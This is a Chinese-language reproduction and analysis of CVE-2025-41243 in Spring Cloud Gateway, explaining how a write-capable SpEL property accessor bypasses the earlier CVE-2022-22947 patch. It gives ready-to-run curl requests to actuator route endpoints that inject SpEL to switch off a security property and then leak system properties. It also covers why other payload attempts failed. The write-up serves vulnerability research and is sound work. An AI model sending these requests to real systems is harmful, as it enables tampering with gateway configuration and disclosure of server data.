CVE-2025-41243复现与分析
前言
CVE-2025-41243 是 Spring Cloud Gateway 的又一个严重漏洞 ,CVSS 评分达到了10。根据官方描述,该漏洞会导致 Spring 环境属性修改漏洞:

本文基于 Spring Cloud Gateway 3.1.1 复现和分析。
漏洞分析
该漏洞可以看成是CVE-2022-22947补丁的绕过。在CVE-2022-22947的分析中有说过,官方补丁的修复是在ShortcutConfigurable#getValue这个方法用GatewayEvaluationContext(基于SimpleEvaluationContext,区别在于GatewayEvaluationContext没有禁用BeanResolver,因为 Gateway 在解析 Filter 参数时,需要支持 Bean 引用)替换了StandardEvaluationContext来执行SpEL表达式。
虽然使用SimpleEvaluationContext导致无法直接执行系统命令,但是仍然支持:
- Bean 解析(如
#{@systemProperties}、#{@environment}) - 变量/集合/数组的创建与修改
- 部分 Bean 方法调用
为此,Spring在补丁中还新增了一个spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled属性,默认为true,通过RestrictivePropertyAccessor来限制属性读取:

该属性会在每次路由更新时动态检查。因此,默认情况下,我们会获得一个不支持解析任何属性的评估上下文。读取权限检查RestrictivePropertyAccessor始终返回false :

但是这里还有一个问题,RestrictivePropertyAccessor限制了读取属性,但没有限制写入属性。ReflectivePropertyAccessor除了canRead函数之外,还存在canWrite函数,这里RestrictivePropertyAccessor只是重载了canRead限制读属性,但是仍然可以实现属性写入:

所以漏洞利用的思路也逐渐清晰:
- 添加包含恶意 SpEL 的路由
类似于CVE-2022-22947,调用POST /actuator/gateway/routes/{id}接口,在 Filter 的参数中嵌入 SpEL 表达式关闭spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled属性
- 触发 SpEL 求值
调用POST /actuator/gateway/refresh,让 Gateway 重新解析所有路由配置,从而执行上一步注入的 SpEL 表达式。
- 后续利用
再次添加新路由,执行读取/泄露操作,如枚举environment.getPropertySources()、读取classpath配置、systemProperties等。
漏洞复现
复现基于CVE-2022-22947即可,只需要把pom.xml中spring-cloud-gateway-server版本改成3.1.1:

依次进行以下请求:
curl -X POST http://localhost:9000/actuator/gateway/routes/2333 \
-H "Content-Type: application/json" \
-d '{
"id": "2333",
"uri": "http://localhost",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "evil",
"value": "#{ @systemProperties[\"spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled\"] = false }"
}
}]
}'
curl -X POST http://localhost:9000/actuator/gateway/refresh
curl -X POST http://localhost:9000/actuator/gateway/routes/6666 \
-H "Content-Type: application/json" \
-d '{
"id": "6666",
"uri": "http://localhost",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "leaked",
"value": "#{ @systemProperties[\"java.home\"] }"
}
}]
}'
curl -X POST http://localhost:9000/actuator/gateway/refresh
curl http://localhost:9000/actuator/gateway/routes/6666

成功触发。
其实这一步踩了很多坑,比如用过#{ @systemProperties }/#{ @systemProperties.toString() }/#{ @environment.getProperty('java.version') }等,但是控制台都会报错。原因大概如下:
- 类型不匹配 (Type Mismatch)
报错BindException: Failed to bind properties under 'value' to java.lang.String。根因是 Spring Boot 的松散绑定机制。AddResponseHeader过滤器的参数定义是String value,执行#{ @systemProperties } 时,SpEL返回的是一个java.util.Properties对象(即一个完整的Map),Spring的属性绑定器尝试把这个Map强行塞进String类型的变量里。由于没有定义从Map到String的转换器,绑定过程直接崩溃。
- 安全沙箱拦截 (Restricted Method Invocation)
报错Method call: Method toString() cannot be found...。根因是GatewayEvaluationContext的方法屏蔽。Spring Cloud Gateway引入了一个特殊的SpEL上下文,默认配置了一个非常严格的DataBindingPropertyAccessor,它的核心逻辑是即使这个方法在Java类中真实存在(如.toString()),沙箱也会在解析时告诉你找不到。这是为了防止攻击者通过.getRuntime().exec()等方法直接RCE。所以在沙箱关闭之前,任何带括号的方法调用()都会失败。只能通过['key']这种属性访问语法来获取数据。
- 上下文环境缺失 (Bean Context Scoping)
报错Property or field 'java' cannot be found on null。根因是只有有限的 Bean 暴露,并不是所有 Spring Bean 都能在 Gateway 的 SpEL 中通过@beanName访问。常见的@environment在此上下文中默认没有被注册到BeanResolver中,当引用一个不存在的 Bean 时,结果是 null,后续的操作自然会报空指针异常。